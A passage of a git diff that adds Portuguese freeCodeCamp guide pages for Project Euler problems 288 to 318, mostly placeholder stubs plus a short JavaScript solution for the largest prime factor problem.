+localeTitle: Um enorme fatorial
+---
+## Problema 288: um enorme fatorial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md
new file mode 100644
index 0000000000..98372a7e44
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md
@@ -0,0 +1,9 @@
+---
+title: Eulerian Cycles
+localeTitle: Ciclos Eulerianos
+---
+## Problema 289: Ciclos Eulerianos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md
new file mode 100644
index 0000000000..79812142ec
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct powers
+localeTitle: Poderes distintos
+---
+## Problema 29: Poderes distintos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md
new file mode 100644
index 0000000000..7b45a8d34c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital Signature
+localeTitle: Assinatura digital
+---
+## Problema 290: Assinatura Digital
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md
new file mode 100644
index 0000000000..1730269e8a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Panaitopol Primes
+localeTitle: Primes de Panaitopol
+---
+## Problema 291: Panaitopol Primes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md
new file mode 100644
index 0000000000..f67fcdc3bf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean Polygons
+localeTitle: Polígonos Pitagóricos
+---
+## Problema 292: Polígonos Pitagóricos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md
new file mode 100644
index 0000000000..e679f8d4af
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Pseudo-Fortunate Numbers
+localeTitle: Números Pseudo-Afortunados
+---
+## Problema 293: Números Pseudo-Afortunados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md
new file mode 100644
index 0000000000..f2967b6075
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of digits - experience #23
+localeTitle: Soma dos dígitos - experiência # 23
+---
+## Problema 294: Soma dos Dígitos - Experiência # 23
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md
new file mode 100644
index 0000000000..bc68fe7692
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md
@@ -0,0 +1,9 @@
+---
+title: Lenticular holes
+localeTitle: Furos lenticulares
+---
+## Problema 295: Furos lenticulares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md
new file mode 100644
index 0000000000..7a2f583023
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md
@@ -0,0 +1,9 @@
+---
+title: Angular Bisector and Tangent
+localeTitle: Bissetriz Angular e Tangente
+---
+## Problema 296: Bissetriz Angular e Tangente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md
new file mode 100644
index 0000000000..e47105dc24
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md
@@ -0,0 +1,9 @@
+---
+title: Zeckendorf Representation
+localeTitle: Assinale a representação da aldeia
+---
+## Problema 297: Representação de Zeckendorf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md
new file mode 100644
index 0000000000..1d8b82e55b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md
@@ -0,0 +1,9 @@
+---
+title: Selective Amnesia
+localeTitle: Amnésia Seletiva
+---
+## Problema 298: Amnésia Seletiva
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md
new file mode 100644
index 0000000000..0d48c0473e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Three similar triangles
+localeTitle: Três triângulos semelhantes
+---
+## Problema 299: Três triângulos semelhantes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md
new file mode 100644
index 0000000000..00a2b08943
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md
@@ -0,0 +1,33 @@
+---
+title: Largest prime factor
+localeTitle: Maior fator primo
+---
+## Problema 3: Maior fator primordial
+
+### Método:
+
+*   Para encontrar o maior fator primo de um número, partimos do menor fator primo 2 e dividimos o número com ele.
+*   Se o resto for 0, isso significa que o número é divisível por esse número primo, continuamos a dividir o número pelo mesmo número primo até que esse número não seja mais divisível por esse número primo.
+*   Depois disso, incrementamos o fator primo em 1 e repetimos esse processo até que o número se torne 1.
+
+### Solução:
+
+```js
+function largestPrimeFactor(number) { 
+  let prime = 2, max = 1; 
+  while (prime <= number){ 
+    if (number % prime == 0) { 
+      max = prime; 
+      number = number/prime; 
+    } 
+    else prime++; //Only increment the prime number if the number isn't divisible by it 
+  } 
+  return max; 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Problem-3-Largest-prime-factor)
+
+### Recursos:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Prime_number)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md
new file mode 100644
index 0000000000..a65cd51739
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit n powers
+localeTitle: Poderes de digitação
+---
+## Problema 30: Potências Digitais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md
new file mode 100644
index 0000000000..5ed0af607d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md
@@ -0,0 +1,9 @@
+---
+title: Protein folding
+localeTitle: Dobramento de proteínas
+---
+## Problema 300: Dobragem de Proteínas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md
new file mode 100644
index 0000000000..67ad906238
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim
+localeTitle: ele
+---
+## Problema 301: Nim
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md
new file mode 100644
index 0000000000..6b62ea1bea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Strong Achilles Numbers
+localeTitle: Números fortes de Aquiles
+---
+## Problema 302: Números Fortes de Aquiles
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md
new file mode 100644
index 0000000000..ed5649f6e3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Multiples with small digits
+localeTitle: Múltiplos com dígitos pequenos
+---
+## Problema 303: Múltiplos com dígitos pequenos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md
new file mode 100644
index 0000000000..73ed32b2eb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md
@@ -0,0 +1,9 @@
+---
+title: Primonacci
+localeTitle: Primonacci
+---
+## Problema 304: Primonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md
new file mode 100644
index 0000000000..af8be3020b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md
@@ -0,0 +1,9 @@
+---
+title: Reflexive Position
+localeTitle: Posição reflexiva
+---
+## Problema 305: Posição Reflexiva
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md
new file mode 100644
index 0000000000..fb5e96fbd9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Paper-strip Game
+localeTitle: Jogo de tira de papel
+---
+## Problema 306: Jogo de tira de papel
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md
new file mode 100644
index 0000000000..c1b0b2e57b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md
@@ -0,0 +1,9 @@
+---
+title: Chip Defects
+localeTitle: Defeitos de cavacos
+---
+## Problema 307: Defeitos no Chip
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md
new file mode 100644
index 0000000000..1037db8c51
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md
@@ -0,0 +1,9 @@
+---
+title: An amazing Prime-generating Automaton
+localeTitle: Um incrível autômato de geração principal
+---
+## Problema 308: um incrível autômato de geração principal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md
new file mode 100644
index 0000000000..96928157bd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer Ladders
+localeTitle: Escadas inteiras
+---
+## Problema 309: Escadas Inteiras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md
new file mode 100644
index 0000000000..cad3e8cb05
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Coin sums
+localeTitle: Somas de moeda
+---
+## Problema 31: somas de moeda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md
new file mode 100644
index 0000000000..f4fe20f359
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim Square
+localeTitle: Nim Square
+---
+## Problema 310: Nim Square
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md
new file mode 100644
index 0000000000..c114ff0856
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md
@@ -0,0 +1,9 @@
+---
+title: Biclinic Integral Quadrilaterals
+localeTitle: Quadriláteros Integrais Biclínicos
+---
+## Problema 311: Quadrilaterais Integrais Biclínicos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md
new file mode 100644
index 0000000000..33223bef18
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclic paths on Sierpiński graphs
+localeTitle: Caminhos cíclicos nos gráficos de Sierpiński
+---
+## Problema 312: Caminhos cíclicos nos gráficos de Sierpiński
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md
new file mode 100644
index 0000000000..13619891d6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Sliding game
+localeTitle: Jogo de correr
+---
+## Problema 313: jogo deslizante
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md
new file mode 100644
index 0000000000..d642bc8d0f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md
@@ -0,0 +1,9 @@
+---
+title: The Mouse on the Moon
+localeTitle: O rato na lua
+---
+## Problema 314: O Mouse na Lua
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md
new file mode 100644
index 0000000000..42fe638cd2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital root clocks
+localeTitle: Relógios digitais de raiz
+---
+## Problema 315: Relógios Raiz Digitais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md
new file mode 100644
index 0000000000..a4eccaa40f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers in decimal expansions
+localeTitle: Números em expansões decimais
+---
+## Problema 316: números em expansões decimais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md
new file mode 100644
index 0000000000..42147fc2f2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Firecracker
+localeTitle: Fogos de artifício
+---
+## Problema 317: Foguete
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md
new file mode 100644
index 0000000000..bbea07ff33
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md
@@ -0,0 +1,9 @@
+---
+title: 2011 nines
+localeTitle: Bonecas 2011
+---
+## Problema 318: noves de 2011
+
